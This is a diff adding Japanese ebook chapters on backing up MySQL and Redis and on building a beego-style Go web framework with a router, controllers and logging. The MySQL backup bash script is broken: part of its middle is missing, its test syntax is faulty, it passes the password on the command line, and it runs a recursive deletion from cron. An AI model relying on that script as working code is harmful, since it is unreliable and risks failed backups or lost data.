+以下はmysqlのバックアップを定期的に行うスクリプトです。mysqldumpプログラムを使用しており、このコマンドはデータベースを一つのファイルにエクスポートします。 + + #!/bin/bash + + # 以下の設定情報はご自分で修正してください。 + mysql_user="USER" #MySQLバックアップユーザ + mysql_password="PASSWORD" #MySQLバックアップユーザのパスワード + mysql_host="localhost" + mysql_port="3306" + mysql_charset="utf8" #MySQLの文字エンコード + backup_db_arr=("db1" "db2") #バックアップするデータベースの名前、複数の場合は空白によって分けます。例えば("db1" "db2" "db3") + backup_location=/var/www/mysql #バックアップされたデータの保存場所、末尾に"/"を含めないようにしてください。この項目はデフォルトのままでもかまいません。プログラムは自動的にディレクトリを作成します。 + expire_backup_delete="ON" #期限の切れたバックアップの削除するかどうか。ONで起動、OFFで停止 + expire_days=3 #期限の日数。デフォルトは3日、この項目はexpire_backup_deleteを起動した時のみ有効です。 + + # この行以降は修正する必要はありません。 + backup_time=`date +%Y%m%d%H%M` #バックアップの詳細な時間を定義 + backup_Ymd=`date +%Y-%m-%d` #バックアップのディレクトリの年月日を定義 + backup_3ago=`date -d '3 days ago' +%Y-%m-%d` #3日前の日時 + backup_dir=$backup_location/$backup_Ymd #バックアップディレクトリの絶対パス + welcome_msg="Welcome to use MySQL backup tools!" #ウェルカムメッセージ + + # MYSQLが起動しているか判断します。mysqlが起動していなければバックアップから抜けます。 + mysql_ps=`ps -ef |grep mysql |wc -l` + mysql_listen=`netstat -an |grep LISTEN |grep $mysql_port|wc -l` + if [ [$mysql_ps == 0] -o [$mysql_listen == 0] ]; then + echo "ERROR:MySQL is not running! backup stop!" + exit + else + echo $welcome_msg + fi + + # mysqlデータベースに接続します。接続できなければバックアップから抜けます。 + mysql -h$mysql_host -P$mysql_port -u$mysql_user -p$mysql_password < $backup_dir/$dbname-$backup_time.sql.gz` + flag=`echo $?` + if [ $flag == "0" ];then + echo "database $dbname success backup to $backup_dir/$dbname-$backup_time.sql.gz" + else + echo "database $dbname backup fail!" + fi + + done + else + echo "ERROR:No database to backup! backup stop" + exit + fi + # 期限切れのバックアップを削除するよう設定されていれば、削除操作を実行します。 + if [ "$expire_backup_delete" == "ON" -a "$backup_location" != "" ];then + #`find $backup_location/ -type d -o -type f -ctime +$expire_days -exec rm -rf {} \;` + `find $backup_location/ -type d -mtime +$expire_days | xargs rm -rf` + echo "Expired backup data delete complete!" + fi + echo "All database backup success! Thank you!" + exit + fi + +shellスクリプトの属性を修正します: + + chmod 600 /root/mysql_backup.sh + chmod +x /root/mysql_backup.sh + +属性を設定すると、コマンドをcrontabに追加します。私達は毎日00:00に定時で自動バックアップを行うよう設定しましたので、バックアップスクリプトのディレクトリ/var/www/mysqlをrsyncの同期ディレクトリに設定します。 + + 00 00 * * * /root/mysql_backup.sh + +## MySQLのリストア +MySQLのバックアップにはホットスタンドバイとコールドスタンドバイがあるとご説明しました。ホットスタンドバイは主にリアルタイムのリストあを実現するために用いられます。例えば、アプリケーションサーバにおいてハードディスクの故障が発生した場合、設定ファイルを修正することでデータベースの読み込みと書き込みをslaveに移すことでサービスの中断をなるべく少ない時間に抑えることができます。 + +しかし時にはコールドスタンドバイによるバックアップのSQLからデータを復元する必要があります。データベースのバックアップがあるので、コマンドによってインポートすることができます。 + + mysql -u username -p databse < backup.sql + +データベースのデータをエクスポートまたはインポートするのはかなり簡単でしょう。しかしパーミッションや、文字エンコードの設定も管理する必要がある場合、すこし複雑になるかもしれません。しかしこれらはどれもコマンドによって完了することができます。 + +## redisのバックアップ +redisは現在我々が最もよく使っているNoSQLです。このバックアップにも二種類があります:ホットスタンドバイとコールドスタンドバイです。redisもmaster/slaveモードをサポートしています。ですので、我々のホットバックアップはこの方法によって実現することができます。対応する設定についてはみなさんオフィシャルのドキュメントにある設定をご参考ください。とても簡単です。ここではコールドスタンドバイについてご紹介します。redisは実はメモリ内のキャッシュデータをデータベースファイルの中に定期的に書き込んでいます。我々のバックアップではただ対応するファイルをコピーするだけで十分です。つまり、前にご紹介したrsyncによってローカルでないデータセンターにコピーを行うだけで実現します。 + +## redisのリストア +redisのリストアはホットバックアップとコールドバックアップに分けられます。ホットバックアップの目的と方法はMySQLのリストアと同じです。アプリケーションで対応するデータベースに接続するだけでかまいません。 + +しかし時にはコールドバックアップによってデータをリストアする必要もあります。redisのコールドバックアップは実は保存されたデータベースファイルをredisのワーキングディレクトリにコピーするだけです。その後redisを起動すればOKです。redisは起動している間自動的にデータベースファイルをメモリにロードします。起動の速度はデータベースのファイルの大小によって決定します。 + +## 概要 +この節ではアプリケーションのバックアップとリストアについてご紹介しました。ファイルのバックアップからデータベースのバックアップまで、どのように災害に対応するかです。また、rsyncを使った異なるシステムでのファイルの同期についてもご紹介しました。MySQLデータベースとredisデータベースのバックアップとリストアです。この節の紹介を通して開発された本番プロダクトの障害に対するひとつの参考になれば幸いです。 + +## links + * [目次]() + * 前へ: [アプリケーションのデプロイ](<12.3.md>) + * 次へ: [概要](<12.5.md>) diff --git a/ja/ebook/12.5.md b/ja/ebook/12.5.md new file mode 100644 index 00000000..6e2b6d71 --- /dev/null +++ b/ja/ebook/12.5.md @@ -0,0 +1,18 @@ +# 12.5 概要 +この章ではどのようにして我々の開発したWebアプリケーションのデプロイとメンテナンスを行うかについていくつかのトピックを討論しました。これらの内容は非常に重要で、メンテナンスを最小化し、アプリケーションの円滑な運用を行うためにはかならずこれらの問題を考慮する必要があります。 + +この章で討論した内容は具体的には: + +- 強靭なログシステムを作成し、問題が発生した際にエラーを記録してシステム管理者に通知を行うことができます。 +- 実行時に発生しうるエラーの処理。ログへの記録を含み、システムが発生させた問題についてユーザフレンドリーな表示をどのようにユーザに行うか。 +- 404エラーの処理。ユーザがリクエストしたページが見つからないことを示します。 +- アプリケーションを生産環境の中にデプロイする。(どのようにしてデプロイを更新するかを含みます) +- デプロイしたアプリケーションの可用性を高めるにはどうすればよいか。 +- ファイル及びデータベースのバックアップとリストア + +この章を読み終わると、スクラッチで一つのWebアプリケーションを開発するのに対してどのような問題を考慮しなければならないのか、あなたは既に全面的な理解が得られたはずです。この章の内容は実際の環境において前の各章でご紹介した開発コードを管理するのに役立ちます。 + +## links + * [目次]() + * 前へ: [バックアップとリストア](<12.4.md>) + * 次へ: [どのようにしてWebフレームワークを設計するか](<13.0.md>) diff --git a/ja/ebook/13.0.md b/ja/ebook/13.0.md new file mode 100644 index 00000000..18595666 --- /dev/null +++ b/ja/ebook/13.0.md @@ -0,0 +1,12 @@ +# 13 どのようにしてWebフレームワークを設計するか +前の12章ではGoを使ってどのようにWebアプリケーションを開発するかについてご紹介しました。多くの基礎的な知識、開発ツールおよび開発テクニックをご紹介したので、この章ではこれらの知識を通じて簡単なWebフレームワークを実装してみましょう。Go言語を通じて完全なフレームワークを設計します。このフレームワークでは主に第1章でご紹介したWebフレームワークの構造ルールを含みます。例えば、MVCモードを採用して開発を行う場合の、プログラムの実行プロセス設計といった内容;第2章でご紹介したフレームワークの1つ目の機能:ルーティング、どのようにしてアクセスされたURLを対応する処理ロジックに投影するか;第3章でご紹介した処理ロジック、どのようにパブリックなcontrollerを設計するか、オブジェクトを継承した後処理関数にてどのようにresponseとrequestを処理するか;第4章ではフレームワークの一部の補助機能をご紹介しました。例えばログ処理、設定情報などです;第5章ではWebフレームワークに基いてどのようにブログを実装するかについてご紹介しました。これにはブログの投稿、修正、削除、リストの表示といった操作を含みます。 + +この完全な項目の例を通じて、読者におかれましてはどのようにWebアプリケーションを開発するか、どのように自分のディレクトリ構造を作成するか、どのようにルーティングを実装するか、どのようにMVCモードといった各方面の開発コンテンツを実装するかご理解いただけたものと期待しております。フレームワークが盛り上がりを見せる昨今、MVCはもはや神話ではありません。プログラマがどのフレームワークが良いか、どれがダメかと討論しているのを多く見かけるようになりました。フレームワークはツールにすぎません。本来良いも悪いもないのです。そこにはただ適切か不適切かのみが存在します。自分に合えばそれが最良ですので、みなさんに自分の手でフレームワークを書くことをお教えできれば、異なった需要に対しても自分の思考に合わせて実装することができるようになります。 + +## 目次 + ![](images/navi13.png?raw=true) + +## links + * [目次]() + * 前へ: [第12章概要](<12.5.md>) + * 次へ: [プロジェクトのプラン](<13.1.md>) diff --git a/ja/ebook/13.1.md b/ja/ebook/13.1.md new file mode 100644 index 00000000..5d157fed --- /dev/null +++ b/ja/ebook/13.1.md @@ -0,0 +1,53 @@ +# 13.1 プロジェクトのプラン +何をするにしてもプランを作成することは大切です。我々がブログシステムを開発する前にも、プロジェクトのプランを作ることは同じように重要です。ディレクトリ構造をどのように設定するか、プロジェクト全体のプロセス図をどのように理解するか、アプリケーションの実行プロセスを我々が理解した時、以降のコーディングの設計についても相対的に容易になるはずです。 +## gopath及びプロジェクトの設定 +指定したgopathがファイルシステムの普通のディレクトリ名だったとしましょう。当然、自由に一つのディレクトリ名を設定することができます。次にこのパスをGOPATHに追加します。GOPATHは複数のディレクトリを含んでもよいと前にご紹介しました:windowシステムでは環境変数を設定します;linux/MacOSシステムではターミナルに`export gopath=/home/astaxie/gopath`コマンドを入力するだけです。しかし、gopathというソースディレクトリには3つのディレクトリpkg、bin、srcがあることを保証しなければなりません。作成した新しいプロジェクトのソースコードはsrcディレクトリの下に置きます。現在暫定的に我々のブログディレクトリをbeeblogと呼ぶことにしましょう。下はwindow下での環境変数とディレクトリ構造のスクリーンショットです: + +![](images/13.1.gopath.png?raw=true) + +図13.1 環境変数GOPATHの設定 + +![](images/13.1.gopath2.png?raw=true) + +図13.2 ワーキングディレクトリは$gopath/srcの下にあります + +## アプリケーションプログラムのプロセス図 +ブログシステムはモデル-ビュー-コントローラという設計モードにもとづいています。MVCはアプリケーションプログラムのロジック層とプレゼンテーション層を分離する構造方式です。実践の中で、プレゼンテーション層からGoの中で分離されているので、あなたのウェブページにはほんの少しのスクリプトを含めるだけでかまいません。 + +- モデル(Model)はデータ構造を表します。通常ではモデルクラスはデータベースのデータを取り出し、挿入し、更新するといった機能を含みます。 +- ビュー(View)はユーザの情報を表示する構造およびスタイルです。ひとつのビューは通常一つのウェブページとなります。しかし、Goにおいては、一つのビューはページのいち部分であってもかまいません。例えば、ヘッダ、フッタ等です。これはRSSページや他の種類の"ページ"であってもかまいません。Goが実装するtemplateパッケージはすでに非常によくView層での一部の機能を実現しています。 +- コントローラ(Controller)はモデル、ビュー及びその他の任意のHTTPリクエストが必要としているリソース間の仲介を処理し、ウェブページを生成します。 + +下の図はプロジェクトの設計においてフレームワークのデータのがどのようにシステム全体を流れているか表しています: + +![](images/13.1.flow.png?raw=true) + +図13.3 フレームワークのデータフロー + +1. main.goはアプリケーションの入り口です。ブログを実行する上で必要となる基本的なリソースを初期化し、情報を設定し、ポートを監視します。 +2. ルーティング機能はHTTPリクエストを検査し、URLおよびmethodによって誰(コントローラ層)がリクエストのリソースへのリダイレクトを処理するかを決定します。 +3. もしキャッシュファイルが存在した場合、通常のプロセスを迂回して実行し、ブラウザに直接送信されます。 +4. セキュリティチェック:アプリケーションプログラムのコントローラがコールされる前にHTTPリクエストと任意のユーザが送信したデータがフィルタにかけられます。 +5. コントローラがモデル、コアライブラリ、補助関数および特定のリクエストに必要となるその他のリソースにおける任意の処理をロードします。コントローラは主に業務ロジックの処理に責任を負います。 +6. ビュー層において出力された内容はWebブラウザのコンテンツに送信されます。もしキャッシュが起動されていた場合、ビューはまずキャッシュされ、以降の通常のリクエストにおいて利用されます。 + +## ディレクトリ構造 +上のアプリケーションプログラムのプロセス設計にもとづいて、ブログのディレクトリ構造の設計は以下のようになります: + + |——main.go 入り口ファイル + |——conf 設定ファイルと処理モジュール + |——controllers コントローラの入り口 + |——models データベースの処理モジュール + |——utils 補助関数ライブラリ + |——static 静的ファイルディレクトリ + |——views ビューライブラリ + +## フレームワーク設計 +ブログの迅速な作成を実現するため、上のプロセス設計に従って最小化されたフレームワークを開発します。フレームワークにはルーティング機能、RESTをサポートしたコントローラ、自動化とテンプレートの適用、ログシステム、設定管理等が含まれます。 + +## 概要 +この節ではブログシステムにおいてGOPATHを設定するところからディレクトリの作成といった基礎情報までをご紹介しました。フレームワークの構造がMVCモードを採用することや、ブログシステムのデータフローの実行プロセスについても簡単にご紹介しました。最後にこれらのプロセスを通じてブログシステムのディレクトリ構造を設計しました。ここまでで、フレームワークの基本的な作成が完了しました。以降のいくつかの節ではひとつひとつ実装していきます。 +## links + * [目次]() + * 前へ: [ブログシステムの作成](<13.0.md>) + * 次へ: [カスタム定義のルータの設計](<13.2.md>) diff --git a/ja/ebook/13.2.md b/ja/ebook/13.2.md new file mode 100644 index 00000000..ea8d0d47 --- /dev/null +++ b/ja/ebook/13.2.md @@ -0,0 +1,264 @@ +# 13.2 カスタム定義のルータの設計 + +## HTTPルーティング +HTTPルーティングのセットアップはHTTPリクエストが対応する関数の処理(またはstructの方法)に送信されることを担当します。例えば前の節においてご紹介した構造図では、ルーティングはフレームワークにおいてイベントプロセッサに相当します。このイベントは以下を含みます: + +- ユーザリクエストのパス(path)(例えば:/user/123,/article/123)、当然文字列情報も検索します(例えば?id=11) +- HTTPのリクエストメソッド(method)(GET、POST、PUT、DELETE、PATCH等) + +ルータはユーザがリクエストしたイベント情報に基づいて対応する処理関数(コントロールレイヤ)にリダイレクトします。 +## デフォルトルーティングの実装 +3.4節でGoのhttpパッケージの詳細の中でGoのhttpパッケージがどのように設計されルーティングを実装しているかをご紹介しました。ここではもうひとつ例を挙げてご説明しましょう: + + func fooHandler(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) + } + + http.Handle("/foo", fooHandler) + + http.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) + }) + + log.Fatal(http.ListenAndServe(":8080", nil)) + +上の例ではhttpのデフォルトであるDefaultServeMuxをコールしてルーティングを追加しています。2つの引数を渡すことでユーザがアクセスするリソースを提供します。1つ目の引数はユーザがこのリソースにアクセスするであろうURLパス(r.URL.Pathに保存されます)、2つ目の引数は次に実行される関数です。ルーティングの考え方は次の二点に集約されます: + +- ルーティング情報の追加 +- ユーザのリクエストを実行される関数にリダイレクトする + +Goのデフォルトのルーティングは関数`http.Handle`とhttp.HandleFunc`によって追加され、どちらも深いレイヤで`DefaultServeMux.Handle(pattern string, handler Handler)`をコールしています。この関数はルーティング情報をmap情報`map[string]muxEntity`に保存することで上の1つ目を解決します。 + +Goはポートを監視し、tcp接続を受け付けるとHandlerに処理を投げます。上の例ではデフォルトのnilは`http.DefaultServeMux`です。`DefaultServeMux.ServeHTTP`関数によってディスパッチを行います。事前に保存しておいたmapルーティング情報を、ユーザがアクセスするURLにマッチングすることで、対応する登録された処理関数を探し出します。このように上の二点目を実装します。 + + for k, v := range mux.m { + if !pathMatch(k, path) { + continue + } + if h == nil || len(k) > n { + n = len(k) + h = v.h + } + } + + +## beegoフレームワークのルーティングの実装 +現在ほとんどすべてのWebアプリケーションのルーティングはすべてhttpのデフォルトのルータに基いて実装されています。しかし、Goにはじめから備わっているルータにはいくつかの制限があります: + +- パラメータ設定をサポートしない。例えば/user/:uid といったマッチング等です。 +- RESTモードをあまりよくサポートしていません。アクセスを制限する方法がありません。例えば上の例で言えば、ユーザによる/fooへのアクセスに、GET、POST、DELETE、HEADといったメソッドでアクセスすることです。 +- 一般的にウェブサイトのルーティングルールは多すぎて、書くのが大変です。以前私はあるAPIアプリケーションを開発したことがあるのですが、ルーティングルールは30数個ありました。このようなルーティングの多さは実は簡素化することができます。structの方法を通して簡素化することが可能です。 + +beegoフレームワークのルータは上のいくつかの制限を考慮して設計されたRESTメソッドのルーティングを実装しています。ルーティングの設計も上のGoデフォルトの設計の二点を考慮しています:すなわち、ルーティングの保存とルーティングのリダイレクトです。 + +### ルーティングの保存 +ここでお話した制限に対して、我々はまずパラメータのサポートに正規表現を使えるよう解決する必要があります。2点目と3点目については柔軟な方法によって解決します。RESTの方法をstructの方法に組み込んでしまうのです。その後関数ではなくstructにルーティングすることで、ルーティングをリダイレクトする際methodに従って異なるメソッドを実行することができるようになります。 + +上の考え方で、我々は2つのデータ型controllerInfo(パスと対応するstructを保存する。ここではreflect.Type型)とControllerRegistor(routersはsliceを使ってユーザが追加したルーティング情報を保存する)を設計しました。 + + type controllerInfo struct { + regex *regexp.Regexp + params map[int]string + controllerType reflect.Type + } + + type ControllerRegistor struct { + routers []*controllerInfo + Application *App + } + + +ControllerRegistorの外側のインターフェース関数には以下があります。 + + func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) + +細かい実装は以下に示します: + + func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) { + parts := strings.Split(pattern, "/") + + j := 0 + params := make(map[int]string) + for i, part := range parts { + if strings.HasPrefix(part, ":") { + expr := "([^/]+)" + + //a user may choose to override the defult expression + // similar to expressjs: ‘/user/:id([0-9]+)’ + + if index := strings.Index(part, "("); index != -1 { + expr = part[index:] + part = part[:index] + } + params[j] = part + parts[i] = expr + j++ + } + } + + //recreate the url pattern, with parameters replaced + //by regular expressions. then compile the regex + + pattern = strings.Join(parts, "/") + regex, regexErr := regexp.Compile(pattern) + if regexErr != nil { + + //TODO add error handling here to avoid panic + panic(regexErr) + return + } + + //now create the Route + t := reflect.Indirect(reflect.ValueOf(c)).Type() + route := &controllerInfo{} + route.regex = regex + route.params = params + route.controllerType = t + + p.routers = append(p.routers, route) + + } + +### スタティックルーティングの実装 +上では動的なルーティングの実装を行いました。Goのhttpパッケージはデフォルトで静的なファイルを処理するFileServerをサポートしています。自分で定義したルータを実装したわけですから、静的なファイルも自分たちで設定しなければなりません。beegoの静的ディレクトリパスはグローバル変数StaticDirに保存されています。StaticDirはmap型で、以下のように実装されています: + + func (app *App) SetStaticPath(url string, path string) *App { + StaticDir[url] = path + return app + } + +アプリケーションにおいて静的なルーティングを設定するには以下の方法で行います: + + beego.SetStaticPath("/img","/static/img") + + +### リダイレクトルーティング +リダイレクトルーティングはControllerRegistorの中のルーティング情報に基づいてリダイレクトが行われます。細かい実装は以下のコードに示します: + + // AutoRoute + func (p *ControllerRegistor) ServeHTTP(w http.ResponseWriter, r *http.Request) { + defer func() { + if err := recover(); err != nil { + if !RecoverPanic { + // go back to panic + panic(err) + } else { + Critical("Handler crashed with error", err) + for i := 1; ; i += 1 { + _, file, line, ok := runtime.Caller(i) + if !ok { + break + } + Critical(file, line) + } + } + } + }() + var started bool + for prefix, staticDir := range StaticDir { + if strings.HasPrefix(r.URL.Path, prefix) { + file := staticDir + r.URL.Path[len(prefix):] + http.ServeFile(w, r, file) + started = true + return + } + } + requestPath := r.URL.Path + + //find a matching Route + for _, route := range p.routers { + + //check if Route pattern matches url + if !route.regex.MatchString(requestPath) { + continue + } + + //get submatches (params) + matches := route.regex.FindStringSubmatch(requestPath) + + //double check that the Route matches the URL pattern. + if len(matches[0]) != len(requestPath) { + continue + } + + params := make(map[string]string) + if len(route.params) > 0 { + //add url parameters to the query param map + values := r.URL.Query() + for i, match := range matches[1:] { + values.Add(route.params[i], match) + params[route.params[i]] = match + } + + //reassemble query params and add to RawQuery + r.URL.RawQuery = url.Values(values).Encode() + "&" + r.URL.RawQuery + //r.URL.RawQuery = url.Values(values).Encode() + } + //Invoke the request handler + vc := reflect.New(route.controllerType) + init := vc.MethodByName("Init") + in := make([]reflect.Value, 2) + ct := &Context{ResponseWriter: w, Request: r, Params: params} + in[0] = reflect.ValueOf(ct) + in[1] = reflect.ValueOf(route.controllerType.Name()) + init.Call(in) + in = make([]reflect.Value, 0) + method := vc.MethodByName("Prepare") + method.Call(in) + if r.Method == "GET" { + method = vc.MethodByName("Get") + method.Call(in) + } else if r.Method == "POST" { + method = vc.MethodByName("Post") + method.Call(in) + } else if r.Method == "HEAD" { + method = vc.MethodByName("Head") + method.Call(in) + } else if r.Method == "DELETE" { + method = vc.MethodByName("Delete") + method.Call(in) + } else if r.Method == "PUT" { + method = vc.MethodByName("Put") + method.Call(in) + } else if r.Method == "PATCH" { + method = vc.MethodByName("Patch") + method.Call(in) + } else if r.Method == "OPTIONS" { + method = vc.MethodByName("Options") + method.Call(in) + } + if AutoRender { + method = vc.MethodByName("Render") + method.Call(in) + } + method = vc.MethodByName("Finish") + method.Call(in) + started = true + break + } + + //if no matches to url, throw a not found exception + if started == false { + http.NotFound(w, r) + } + } + +### 事始め +このようなルーティング設計に基いていると、前に説明した3つの制限をクリアできます。使い方は以下に示します: + +基本的なルーティング登録の使用: + + beego.BeeApp.RegisterController("/", &controllers.MainController{}) + +オプションの登録: + + beego.BeeApp.RegisterController("/:param", &controllers.UserController{}) + +正規表現マッチング: + + beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controllers.UserController{}) + +## links + * [目次]() + * 前へ: [プロジェクトのプラン](<13.1.md>) + * 次へ: [controller設計](<13.3.md>) diff --git a/ja/ebook/13.3.md b/ja/ebook/13.3.md new file mode 100644 index 00000000..9e1e1458 --- /dev/null +++ b/ja/ebook/13.3.md @@ -0,0 +1,163 @@ +# 13.3 controller設計 + +伝統的なMVCフレームワークにおいて、多くの場合Action設計のサフィックス反映にもとづいています、しかしながら、現在webではREST風のフレームワークが流行しています。なるべくFilterかrewriteを使用してURLのリライトを行い、REST風のURLを実現しています。しかしなぜ直接新しくREST風のMVCフレームワークを設計しないのでしょうか?本章ではこういった考え方に基いてどのようにREST風のMVCフレームワークにフルスクラッチでcontroller、最大限に簡素化されたWebアプリケーションの開発、ひいては一行で可能な"Hello, world"の実装についてご説明します。 + +## controllerの作用 +MVC設計は現在Webアプリケーションの開発において最もよく見かけるフレームワーク設計です。Model(モデル)、View(ビュー)およびController(コントローラ)を分離することで、拡張しやすいユーザーインターフェース(UI)を簡単に実装することができます。Modelとはバックエンドが返すデータの事を指します。Viewは表示されるページのことで、通常はテンプレートページになっています。テンプレートを適用したコンテンツは通常HTMLです。ControllerとはWebデベロッパがコーディングする異なるURLの処理によるコントローラです。前の節ではURLリクエストをコントローラにリダイレクトする過程となるルータをご紹介しました。controllerはMVCフレームワーク全体のコアとなる作用を持っています。サービスロジックの処理を担当するため、コントローラはフレームワークに必要不可欠となります。ModelとViewはサービスによっては書く必要はありません、例えばデータ処理の無いロジック処理、ページを出力しない302調整といったものはModelとViewを必要としません。しかし、Controllerは必ず必要となります。 + +## beegoのREST設計 +前の節ではルータにstructを登録する機能を実装しました。また、structではRESTメソッドを実装しています。そのため、ロジック処理に用いられるcontrollerの基底クラスを設計する必要があります。ひとつはstructで、もうひとつはinterfaceです。 + + type Controller struct { + Ct *Context + Tpl *template.Template + Data map[interface{}]interface{} + ChildName string + TplNames string + Layout []string + TplExt string + } + + type ControllerInterface interface { + Init(ct *Context, cn string) //コンテキストとサブクラスの名前を初期化 + Prepare() //実行前のいくつかの処理を開始 + Get() //method=GETの処理 + Post() //method=POSTの処理 + Delete() //method=DELETEの処理 + Put() //method=PUTの処理 + Head() //method=HEADの処理 + Patch() //method=PATCHの処理 + Options() //method=OPTIONSの処理 + Finish() //実行完了後の処理 + Render() error //methodが対応する方法を実行し終えた後、ページを構築 + } + +前にadd関数へのルータをご紹介した際ControllerInterfaceクラスを定義しました。ですので、ここではこのインターフェースを実装すれば十分です。基底クラスのContorollerの実装は以下のようなメソッドになります: + + func (c *Controller) Init(ct *Context, cn string) { + c.Data = make(map[interface{}]interface{}) + c.Layout = make([]string, 0) + c.TplNames = "" + c.ChildName = cn + c.Ct = ct + c.TplExt = "tpl" + } + + func (c *Controller) Prepare() { + + } + + func (c *Controller) Finish() { + + } + + func (c *Controller) Get() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Post() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Delete() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Put() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Head() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Patch() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Options() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Render() error { + if len(c.Layout) > 0 { + var filenames []string + for _, file := range c.Layout { + filenames = append(filenames, path.Join(ViewsPath, file)) + } + t, err := template.ParseFiles(filenames...) + if err != nil { + Trace("template ParseFiles err:", err) + } + err = t.ExecuteTemplate(c.Ct.ResponseWriter, c.TplNames, c.Data) + if err != nil { + Trace("template Execute err:", err) + } + } else { + if c.TplNames == "" { + c.TplNames = c.ChildName + "/" + c.Ct.Request.Method + "." + c.TplExt + } + t, err := template.ParseFiles(path.Join(ViewsPath, c.TplNames)) + if err != nil { + Trace("template ParseFiles err:", err) + } + err = t.Execute(c.Ct.ResponseWriter, c.Data) + if err != nil { + Trace("template Execute err:", err) + } + } + return nil + } + + func (c *Controller) Redirect(url string, code int) { + c.Ct.Redirect(code, url) + } + +上のcontroller基底クラスはインターフェースが定義する関数を実装しています。urlにもとづいてルータが対応するcontrollerを実行する原則に従って、以下のように実行されます: + + Init() 初期化 + Prepare() この初期化を実行することで、継承されたサブクラスはこの関数を実装することができます。 + method() 異なるmethodに従って異なる関数を実行します:GET、POST、PUT、HEAD等、サブクラスによってこれらの関数を実装します。もし実装されていなければどれもデフォルトで403となります。 + Render() オプション。グローバル変数AutoRenderによって実行するか否かを判断します。 + Finish() 実行後に実行される操作。各サブクラスはこの関数を実装することができます。 + +## 応用 +上ではbeegoフレームワークにおいてcontroller基底クラスの設計を完成させました。我々のアプリケーションでは我々のメソッドを以下のように設計することができます: + + package controllers + + import ( + "github.com/astaxie/beego" + ) + + type MainController struct { + beego.Controller + } + + func (this *MainController) Get() { + this.Data["Username"] = "astaxie" + this.Data["Email"] = "astaxie@gmail.com" + this.TplNames = "index.tpl" + } + +上のメソッドではサブクラスMainControllerを実装し、Getメソッドを実装しています。もしユーザがその他のメソッド(POST/HEAD等)によってこのリソースにアクセスすると、403を返します。もしGetであれば、AutoRender=trueを設定していますのでGetメソッドの実行後自動的にRender関数が実行され、以下のようなインターフェースが表示されます: + +![](images/13.4.beego.png?raw=true) + +index.tplのコードは以下のようになります。データの設定と表示が非常に簡単になっていることが見てとれます: + + + + + beego welcome template + + +

Hello, world!{{.Username}},{{.Email}}

+ + + + +## links + * [目次]() + * 前へ: [カスタム定義のルータの設計](<13.2.md>) + * 次へ: [ログとコンフィグ設計](<13.4.md>) diff --git a/ja/ebook/13.4.md b/ja/ebook/13.4.md new file mode 100644 index 00000000..6389bf07 --- /dev/null +++ b/ja/ebook/13.4.md @@ -0,0 +1,248 @@ +# 13.4 ログとコンフィグ設計 + +## ログとコンフィグの重要性 +ログがわれわわれの開発において非常に重要な作用を持つことは前にご紹介しました。ログを通じて我々の情報をデバッグすることができます。当初seelogというログシステムをご紹介しました。異なるlevelに基いて異なるログを出力します。これはプログラムの開発とデプロイにおいて非常に重要となります。プログラムを開発中はlevelを低く設定しておき、デプロイ時にlevelを上げることで開発中に行っていた情報を隠蔽することができます。 + +コンフィグモジュールはアプリケーションのデプロイからサーバの異なる設定情報まで非常に有用です。例えばデータベースの設定情報、ポートの監視、アドレスの監視などは設定ファイルによって設定を行うことができます。このようにアプリケーションは非常に強力な柔軟性を持ちますので、異なるマシン上に設定ファイルを用意することで違うデータベースにアクセスするといったことができるようになります。 + +## beegoのログ設計 +beegoのログ設計デプロイ思想はseelogより来ています。異なるlevelによってログに記録しますが、beegoが設計するログシステムは比較的ライトウェイトです。システムのlog.Loggerインターフェースを採用し、デフォルトでos.Stdoutに出力します。ユーザはこのインターフェースを実装することで、beego.SetLoggrを通してカスタム定義の出力を設定することができます。詳しい実装を以下に示します: + + + // Log levels to control the logging output. + const ( + LevelTrace = iota + LevelDebug + LevelInfo + LevelWarning + LevelError + LevelCritical + ) + + // logLevel controls the global log level used by the logger. + var level = LevelTrace + + // LogLevel returns the global log level and can be used in + // own implementations of the logger interface. + func Level() int { + return level + } + + // SetLogLevel sets the global log level used by the simple + // logger. + func SetLevel(l int) { + level = l + } + +上ではログシステムのログレベルを実装しています。デフォルトのレベルはTraceで、ユーザはSetLevelによって異なるレベルを設定することができます。 + + // logger references the used application logger. + var BeeLogger = log.New(os.Stdout, "", log.Ldate|log.Ltime) + + // SetLogger sets a new logger. + func SetLogger(l *log.Logger) { + BeeLogger = l + } + + // Trace logs a message at trace level. + func Trace(v ...interface{}) { + if level <= LevelTrace { + BeeLogger.Printf("[T] %v\n", v) + } + } + + // Debug logs a message at debug level. + func Debug(v ...interface{}) { + if level <= LevelDebug { + BeeLogger.Printf("[D] %v\n", v) + } + } + + // Info logs a message at info level. + func Info(v ...interface{}) { + if level <= LevelInfo { + BeeLogger.Printf("[I] %v\n", v) + } + } + + // Warning logs a message at warning level. + func Warn(v ...interface{}) { + if level <= LevelWarning { + BeeLogger.Printf("[W] %v\n", v) + } + } + + // Error logs a message at error level. + func Error(v ...interface{}) { + if level <= LevelError { + BeeLogger.Printf("[E] %v\n", v) + } + } + + // Critical logs a message at critical level. + func Critical(v ...interface{}) { + if level <= LevelCritical { + BeeLogger.Printf("[C] %v\n", v) + } + } + +上のコードはデフォルトでBeeLoggerオブジェクトを初期化し、デフォルトでos.Stdoutに出力します。ユーザはbeego.SetLoggerによってloggerのインターフェース出力を実装することができます。ここでは6つの関数を実装しています。 + +- Trace(一般的な情報の記録、例:) + - "Entered parse function validation block" + - "Validation: entered second 'if'" + - "Dictionary 'Dict' is empty. Using default value" +- Debug(デバッグ情報、例:) + - "Web page requested: http://somesite.com Params='...'" + - "Response generated. Response size: 10000. Sending." + - "New file received. Type:PNG Size:20000" +- Info(プリント情報、例:) + - "Web server 